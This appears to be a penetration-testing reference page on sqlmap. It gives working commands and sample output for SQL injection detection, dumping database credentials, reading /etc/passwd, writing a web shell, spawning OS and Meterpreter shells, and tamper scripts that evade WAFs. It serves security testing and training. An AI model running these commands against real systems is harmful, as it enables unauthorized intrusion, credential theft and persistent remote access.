# sqlmap Usage Guide

> Automates SQL injection detection and exploitation against HTTP/HTTPS targets, covering tamper scripts, risk/level tuning, database enumeration, and data extraction techniques.

- **URL:** https://hackindex.io/services/web/exploitation/sql-injection/sqlmap-usage
- **Path:** HTTP/HTTPS > Exploitation > SQL Injection Exploitation
- **Up:** [SQL Injection Exploitation](https://hackindex.io/services/web/exploitation/sql-injection.md)
- **Published:** 2026-09-13
- **Updated:** 2026-09-13

sqlmap automates [SQL injection detection](https://hackindex.io/services/web/vulnerability-discovery/sql-injection-detection), exploitation, and data extraction. It identifies injection points, determines the database engine, and extracts data through multiple techniques (boolean-blind, error-based, UNION, stacked, time-based, out-of-band). It supports MySQL, MSSQL, PostgreSQL, Oracle, SQLite, and others. Feed it a URL or a saved HTTP request file and it handles the rest. For manual exploitation techniques, see the [SQL injection hub](https://hackindex.io/services/web/exploitation/sql-injection).

> [!CAUTION]
> sqlmap is prohibited in the OSCP exam. Do not use during exam environments.

## Basic Usage

Point sqlmap at a URL with an injectable parameter. Use `--batch` to accept default answers for all prompts.

**Basic scan**

```bash
sqlmap -u "http://$TARGET_IP:$PORT/index.php?id=1" --batch
# [*] starting at 12:00:00
# [12:00:01] [INFO] testing connection to the target URL
# [12:00:02] [INFO] testing if the target URL content is stable
# [12:00:03] [INFO] GET parameter 'id' appears to be dynamic
# [12:00:04] [INFO] GET parameter 'id' is vulnerable
# sqlmap identified the following injection point(s):
# Parameter: id (GET)
#     Type: boolean-based blind
#     Type: error-based
#     Type: UNION query
```

**Increased thoroughness**

```bash
sqlmap -u "http://$TARGET_IP:$PORT/index.php?id=1" --batch --level=5 --risk=3
```

Level 1 tests only GET/POST parameters. Level 2 adds cookies. Level 3 adds User-Agent and Referer headers. Level 5 tests all HTTP headers. Risk 3 includes heavy queries that may slow the target or modify data.

## Request File Input

For POST requests, authenticated endpoints, or complex headers, save the HTTP request from Burp Suite (right-click, Copy to file) and pass it with `-r`. This preserves cookies, headers, content type, and the full request body.

```bash
sqlmap -r request.txt --batch -p username
```

The request file is a raw HTTP request. sqlmap parses the method, URL, headers, and body automatically:

```http
POST /login.php HTTP/1.1
Host: 10.10.10.50
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=abc123

username=admin&password=test
```

## Technique Selection

The `--technique` flag restricts which injection methods sqlmap tries. This speeds up testing when you already know the injection type or want to avoid noisy techniques.

```
B = Boolean-based blind
E = Error-based
U = UNION query-based
S = Stacked queries
T = Time-based blind
Q = Inline queries
```

```bash
sqlmap -u "http://$TARGET_IP:$PORT/index.php?id=1" --batch --technique=EU
```

Use `--technique=T` when the application does not reflect data or show error messages. Restrict to `--technique=U` for fast extraction when UNION injection is confirmed. Avoid `S` (stacked) and `T` (time-based) in time-sensitive assessments since they are slow.

## Database Enumeration

After confirming injection, enumerate the database structure step by step: databases, tables, columns, then dump the target data.

**List databases**

```bash
sqlmap -u "http://$TARGET_IP:$PORT/index.php?id=1" --batch --dbs
# available databases [3]:
# [*] information_schema
# [*] mysql
# [*] webapp
```

**List tables**

```bash
sqlmap -u "http://$TARGET_IP:$PORT/index.php?id=1" --batch --tables -D webapp
# Database: webapp
# [4 tables]
# +----------+
# | orders   |
# | products |
# | sessions |
# | users    |
# +----------+
```

**List columns**

```bash
sqlmap -u "http://$TARGET_IP:$PORT/index.php?id=1" --batch --columns -D webapp -T users
# Database: webapp
# Table: users
# [5 columns]
# +----------+-------------+
# | Column   | Type        |
# +----------+-------------+
# | email    | varchar(255)|
# | id       | int(11)     |
# | password | varchar(255)|
# | role     | varchar(50) |
# | username | varchar(100)|
# +----------+-------------+
```

**Dump credentials**

```bash
sqlmap -u "http://$TARGET_IP:$PORT/index.php?id=1" --batch --dump -D webapp -T users -C username,password
# Database: webapp
# Table: users
# [2 entries]
# +----------+----------------------------------+
# | username | password                         |
# +----------+----------------------------------+
# | admin    | 5f4dcc3b5aa765d61d8327deb882cf99 |
# | editor   | 8d3533d75ae2c3966d7e0d4fcc69216b |
# +----------+----------------------------------+
```

**Dump database user hashes**

```bash
sqlmap -u "http://$TARGET_IP:$PORT/index.php?id=1" --batch --passwords
# database management system users password hashes:
# [*] root [1]:
#     password hash: *2470C0C06DEE42FD1618BB9900DFC3
```

## File Read and Write

sqlmap can read files from the database server filesystem and write files to it, depending on database privileges and configuration.

**Read a file from the server**

```bash
sqlmap -u "http://$TARGET_IP:$PORT/index.php?id=1" --batch --file-read=/etc/passwd
# [INFO] the back-end DBMS is MySQL
# [INFO] fetching file: '/etc/passwd'
# root:x:0:0:root:/root:/bin/bash
# www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
```

File read uses `LOAD_FILE()` on MySQL, `pg_read_file()` on PostgreSQL, or `OPENROWSET` on MSSQL. Requires the FILE privilege on MySQL or superuser access on PostgreSQL.

**Write a web shell to the server**

```bash
sqlmap -u "http://$TARGET_IP:$PORT/index.php?id=1" --batch --file-write=shell.php --file-dest=/var/www/html/shell.php
# [INFO] the file has been successfully written on the back-end DBMS file system ('/var/www/html/shell.php')
```

## OS Shell

sqlmap can spawn an interactive OS shell on the database server through various techniques: UDF injection on MySQL, `xp_cmdshell` on MSSQL, or `COPY FROM PROGRAM` on PostgreSQL.

```bash
sqlmap -u "http://$TARGET_IP:$PORT/index.php?id=1" --batch --os-shell
# [INFO] calling Linux OS shell. To quit type 'x' or 'q' and press ENTER
# os-shell> whoami
# www-data
# os-shell> id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

On MySQL, `--os-shell` uploads a UDF shared library or writes a web shell (PHP/ASP). It asks for the web root path. On MSSQL, it uses `xp_cmdshell` and attempts to enable it if disabled. On PostgreSQL, it uses `COPY FROM PROGRAM` (requires superuser).

**Meterpreter session**

```bash
sqlmap -u "http://$TARGET_IP:$PORT/index.php?id=1" --batch --os-pwn
```

## Tamper Scripts

Tamper scripts modify payloads before sending them, useful for bypassing WAFs and input filters. Specify one or more with `--tamper`.

```bash
sqlmap -u "http://$TARGET_IP:$PORT/index.php?id=1" --batch --tamper=space2comment,between
```

Common tamper scripts and what they do:

| Script | Effect |
| --- | --- |
| space2comment | Replaces spaces with inline comments /**/ |
| between | Replaces > with NOT BETWEEN 0 AND |
| randomcase | Randomizes keyword casing (SeLeCt) |
| charencode | URL-encodes all characters in the payload |
| space2plus | Replaces spaces with + |
| equaltolike | Replaces = with LIKE |
| randomcomments | Inserts random inline comments in SQL keywords |
| apostrophemask | Replaces apostrophe with UTF-8 fullwidth equivalent |

Chain multiple scripts by separating them with commas. Test tamper scripts individually first to identify which bypass works before combining them.

## Proxy Integration

Route sqlmap traffic through Burp Suite to inspect and debug requests.

```bash
sqlmap -u "http://$TARGET_IP:$PORT/index.php?id=1" --batch --proxy=http://127.0.0.1:8080
```

All sqlmap requests appear in Burp's HTTP history. This helps verify payloads, debug WAF blocks, and understand what sqlmap is testing. Combine with `-v 3` for verbose payload output in sqlmap's console.

## References

- [sqlmap GitHub Repository](https://github.com/sqlmapproject/sqlmap) - Official sqlmap repository with documentation and usage examples.
- [sqlmap Usage Wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage) - Complete sqlmap usage documentation covering all flags and techniques.